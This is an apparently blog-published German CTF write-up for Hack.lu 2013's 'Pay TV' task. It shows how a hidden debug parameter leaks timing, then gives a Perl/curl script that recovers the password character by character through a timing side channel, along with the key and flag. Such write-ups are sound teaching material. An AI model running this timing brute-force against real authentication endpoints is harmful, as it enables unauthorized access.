Hack.Lu CTF 2013 – Pay TV

Hack.Lu CTF 2013 - Pay TV - task description

Diese Challenge verlangt von uns, Zugriff auf eine Pay TV Plattform mit Nachrichten über das “Oktoberfest” zu erlangen. Dazu erhalten wir nichts weiter als die Webseite selbst genannt, die wir uns als Erstes ansehen.

Hack.Lu CTF 2013 - Pay TV - Website

Auf der Webseite befindet sich nur ein Bild sowie die Eingabemaske für ein Passwort. Sehen wir uns also als Nächstes des HTML-Quellcode genauer an.

<!DOCTYPE html>
<title>Skynet Pay TV</title>
<link rel="stylesheet" href="/static/style.css">
<div id="container">
    <div id="news">
        <div id="newstext">
        </div>
    </div>
    <img src="/static/noise.gif" id="noise">
    <form action="/gimmetv" method="post">
        <input type="text" id="key" name="key" focus><br />
        <input type="submit" value=" ">
        <div id="error"></div>
    </form>
</div>
<script src="/static/key.js"></script>

In Zeile 10 erkennen wir, dass die Formulardaten an das Ziel “/gimmetv” gesendet werden. Außerdem wird ein in Zeile 16 ein zusätzliches JavaScript eingebunden, dass sich in “/static/key.js” befindet. Auch diese Datei laden wir herunter und betrachten sie.

document.forms[0].addEventListener('submit', function(e) {
    var key = document.getElementById('key').value;
    var xhr = new XMLHttpRequest();
    xhr.open('post', document.forms[0].action);
    xhr.addEventListener('load', function() {
        data = JSON.parse(xhr.responseText);
        if (data['success']) {
            document.getElementById('error').style.display = 'none';
            document.getElementById('noise').style.display = 'none';
            document.getElementById('news').style.display = 'block';
            document.getElementById('newstext').innerHTML = data['response'];
        } else {
            document.getElementById('error').innerHTML = data['response'];
        }
    });
    xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
    xhr.send('key=' + encodeURIComponent(key)/* + '&debug'*/)
    e.preventDefault();
    return false;
});
document.getElementById('key').focus();

Hier ist das Absenden des Passwort-Formulars realisiert. In Zeile 17 erkennen wir als Kommentar darüber hinaus, dass mit dem POST-Request ein zusätzlicher Parameter namens “debug” übergeben werden kann. Das probieren wir direkt aus.

rup0rt@lambda:~$ curl -k -d "key=123" https://ctf.fluxfingers.net:1316/gimmetv
{"response": "Wrong key.", "success": false}

rup0rt@f00l:~$ curl -k -d "key=123&debug" https://ctf.fluxfingers.net:1316/gimmetv
{"start": 1382440476.787641, "end": 1382440476.787664, "response": "Wrong key.", "success": false}

Während wir im ersten Fall ein Passwort ohne “debug”-Parameter absenden, übergeben wir im zweiten Fall die zusätzliche Option. Der Unterschied ist klar erkennbar. Mit “debug”-Paramter wertet der Server zusätzlich die Zeit aus, die zur Überprüfung des Passwortes benötigt wurde. Dieser Verhalten macht die Möglichkeit eines Timing-Attacks sehr wahrscheinlich.

Die Idee dabei ist, dem Server alle möglichen Zeichen eines Passwortes zu übergeben und die Zeit zur Berechnung des Ergebnisses zu vergleichen. Sollte in einem Fall mehr Zeit beansprucht werden als für die übrigen Zeichen, liegt es nahe, dass ein korrektes Zeichen des Passwortes gefunden wurde.

Zur Umsetzung dieses Angriffes entwickeln wir ein Perl-Skript:

#!/usr/bin/perl -w

for ($char=32;$char<=122;$char++) {

  $key = $ARGV[0] . chr($char);

  $res = `curl -s -k -d 'key=$key&debug' https://ctf.fluxfingers.net:1316/gimmetv`;

  $start = substr($res, index($res, '"start": ')+9, index($res, ",")-index($res, '"start": ')-9);
  $end = substr($res, index($res, '"end": ')+7, index($res, ",", 30)-index($res, '"end": ')-7);
  $diff = $end-$start;

  print "$key: $diff\n";
}

Dem Skript kann eine Zeichenfolge übergeben werden, die bereits als richtig identifiziert wurde. Zunächst rufen wir das Skript jedoch mit leerem String auf, um das erste Zeichen zu identifizieren:

rup0rt@lambda:~$ ./paytv.pl ""
[...]
?: 8.20159912109375e-05
@: 8.17775726318359e-05
A: 0.100537061691284
B: 5.48362731933594e-05
C: 4.00543212890625e-05
[...]

Unter allen überprüften Zeichen ist deutlich erkennbar, dass der Server zur Bearbeitung des Buchstabens “A” viel mehr Zeit beansprucht. Das lässt vermuten, dass es sich hierbei um das erste korrekte Zeichen des Passwortes handelt. Wir übergeben dem Skript das Zeichen “A” und versuchen so an das zweite korrekte Zeichen zu gelangen.

rup0rt@lambda:~$ ./paytv.pl "A"
[...]
AV: 0.100317001342773
AW: 0.100582122802734
AX: 0.201405763626099
AY: 0.10078501701355
AZ: 0.100708961486816
[...]

Auch hier sticht ein Buchstabe hervor, bei dem der Server deutlich länger in der Prüfung benötigt. Diese Schritte wiederholen wir nun so lange, bis keine weiteren Zeichen mehr gefunden werden. Die letzte Abarbeitung liefert dabei:

rup0rt@lambda:~$ ./paytv.pl "AXMNP9"
[...]
AXMNP92: 0.602442979812622
AXMNP93: 0.702033042907715
AXMNP94: 0.60186505317688
[...]

Das Passwort um Zugriff auf die Pay TV-Webseite zu erlangen sollte daher “AXMNP93” lauten. Dies probieren wir mittels curl aus:

rup0rt@lambda:~$ curl -k -d "key=AXMNP93" https://ctf.fluxfingers.net:1316/gimmetv
{"response": "OH_THAT_ARTWORK!", "success": true}

Mit Erfolg liefert uns die Webseite die Flagge aus!

Die Lösung lautet “OH_THAT_ARTWORK!“.

Leave a Reply

Your email address will not be published. Required fields are marked *